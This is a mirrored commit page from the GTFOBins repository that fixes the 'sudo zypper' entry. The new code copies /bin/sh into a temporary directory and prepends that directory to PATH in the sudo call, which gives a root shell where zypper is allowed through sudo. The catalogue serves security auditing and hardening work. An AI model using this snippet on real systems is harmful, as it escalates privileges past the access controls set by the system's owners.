mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Fix sudo zypper
`PATH` is a forbidden variable that is not preserved by -E anyway.
This commit is contained in:
parent
9cd6849b8e
commit
b92d9e0ec2
@ -16,6 +16,5 @@ functions:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
cp /bin/sh $TF/zypper-x
|
||||
export PATH=$TF:$PATH
|
||||
sudo -E zypper x
|
||||
sudo PATH=$TF:$PATH zypper x
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user